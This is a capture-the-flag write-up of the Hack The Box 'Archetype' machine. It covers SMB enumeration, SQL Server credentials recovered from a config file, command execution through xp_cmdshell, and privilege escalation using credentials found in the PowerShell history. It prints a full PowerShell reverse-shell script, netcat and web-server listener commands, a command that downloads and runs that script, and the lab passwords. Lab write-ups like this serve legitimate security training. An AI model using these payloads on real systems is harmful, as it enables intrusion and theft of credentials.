Archetype
Last updated
Was this helpful?
Last updated
Was this helpful?
HTB - Archetype
Scan with nmap:
Nessus scan for fun Start with sudo /etc/init.d/nessusd start and go to https://kali:8834
Samba is open so lets see is anonymous login enabled and list the shares
Result: backups directory found
See inside backups: smbclient -N \\\\10.10.10.27\\backups. There is a dtsConfig file, which is a config file used with SSIS:
Result: Contains credientials for user ARCHETYPE\sql_svc with password M3g4c0rp123.
Target is running Microsoft SQL Server 2017 14.00.1000.00 per the nmap scan. Searching for exploit reveals and
HackTricks had command to gather info about the service: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=ARCHETYPE\sql_svc,mssql.password=M3g4c0rp123,mssql.instance-name=ARCHETYPE -sV -p 1433 10.10.10.27 which was not helpful since it is similar to the -A flag.
Attempt Metasploit exploit:
Possibly could use set payload windows/shell_reverse_tcp Failed.
Manual Exploit
Let's try connecting to the SQL Server using Impacket's mssqlclient.py: python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth`
We can use the IS_SRVROLEMEMBER function to reveal whether the current SQL user has sysadmin (highest level) privileges on the SQL Server. This is successful, and we do indeed have sysadmin privileges. This will allow us to enable xp_cmdshell and gain RCE on the host. Let's attempt this, by inputting the commands below.
Save following as shell.ps1: kali@kali:~$ cat shell.ps1 $client = New-Object System.Net.Sockets.TCPClient("10.10.15.117",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Next, stand up a mini webserver in order to host the file. We can use Python: python3 -m http.server 80
After standing up a netcat listener on port 443: nc -lvnp 443
We can now issue the command to download and execute the reverse shell through xp_cmdshell: xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.15.117/shell.ps1\");"
A shell is received as sql_svc, and we can get the user.txt on their desktop.
Privilege Escalation
As this is a normal user account as well as a service account, it is worth checking for frequently access files or executed commands. We can use the command below to access the PowerShell history file: type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt Result: net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
This reveals that the backups drive has been mapped using the local administrator credentials. We can use Impacket's psexec.py to gain a privileged shell.
Get flag